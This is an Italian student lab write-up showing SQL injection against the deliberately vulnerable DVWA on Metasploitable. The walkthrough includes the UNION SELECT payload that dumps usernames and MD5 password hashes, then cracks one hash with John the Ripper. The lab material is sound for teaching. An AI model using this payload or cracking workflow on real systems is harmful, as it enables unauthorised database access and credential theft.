

Simone Tartaglia

## Progetto Modulo 4 Esercizio 1 SQL injection

Per eseguire l'esercizio come prima cosa cambio gli indirizzi IP di "Kali" e di "Metasploitable" con gli indirizzi dati in consegna.

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.13.150
netmask 255.255.255.0
network 192.168.13.0
broadcast 192.168.13.255
gateway 192.168.13.1

auto eth0
iface eth0 inet static
address 192.168.13.100
netmask 255.255.255.0
gateway 192.168.13.1
```

Dopo aver cambiato gli IP verifico che le due macchine comunichino con il comando "ping".

```
msfadmin@metasploitable:~$ ping 192.168.13.100
PING 192.168.13.100 (192.168.13.100) 56(84) bytes of data.
64 bytes from 192.168.13.100: icmp_seq=1 ttl=64 time=0.550 ms
64 bytes from 192.168.13.100: icmp_seq=2 ttl=64 time=0.919 ms
64 bytes from 192.168.13.100: icmp_seq=3 ttl=64 time=0.830 ms

--- 192.168.13.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.550/0.766/0.919/0.158 ms
```

```
(kali@kali)-[~]
$ ping 192.168.13.150
PING 192.168.13.150 (192.168.13.150) 56(84) bytes of data.
64 bytes from 192.168.13.150: icmp_seq=1 ttl=64 time=0.826 ms
64 bytes from 192.168.13.150: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.13.150: icmp_seq=3 ttl=64 time=1.05 ms
^C
— 192.168.13.150 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2017ms
rtt min/avg/max/mdev = 0.826/0.961/1.052/0.097 ms
```

Avendo verificato che le due macchine comunicano da "Kali" accedo alla DWVA di Metasploitable, una volta fatto l'accesso abbasso il livello sicurezza della DWVA mettendolo su "low"

### Script Security

Security Level is currently **low**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low

Submit

Dopo di che vado dalla colonna a fianco seleziono SQL Injection e inserisco la stringa di codice per mostrare le utenze e le rispettive password

```
ID: 1' UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

Copio il nome utente "pablo" e la password in ASCII in un file di testo chiamato "login.txt"

```
(kali㉿kali)-[~/Desktop/SQLi]  
$ cat login.txt  
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
```

Infine tramite il tools "john the ripper" recupero la password in chiaro.

```
(kali㉿kali)-[~/Desktop/SQLi]  
$ john --format=Raw-MD5 login.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])  
Warning: no OpenMP support for this hash type, consider --fork=2  
Proceeding with single, rules:Single  
Press 'q' or Ctrl-C to abort, almost any other key for status  
Warning: Only 2 candidates buffered for the current salt, minimum 24 needed for performance.  
Warning: Only 20 candidates buffered for the current salt, minimum 24 needed for performance.  
Almost done: Processing the remaining buffered candidate passwords, if any.  
Proceeding with wordlist:/usr/share/john/password.lst  
letmein (pablo)  
1g 0:00:00:00 DONE 2/3 (2023-09-25 16:49) 25.00g/s 31700p/s 31700c/s 31700C/s 123456..larry  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.
```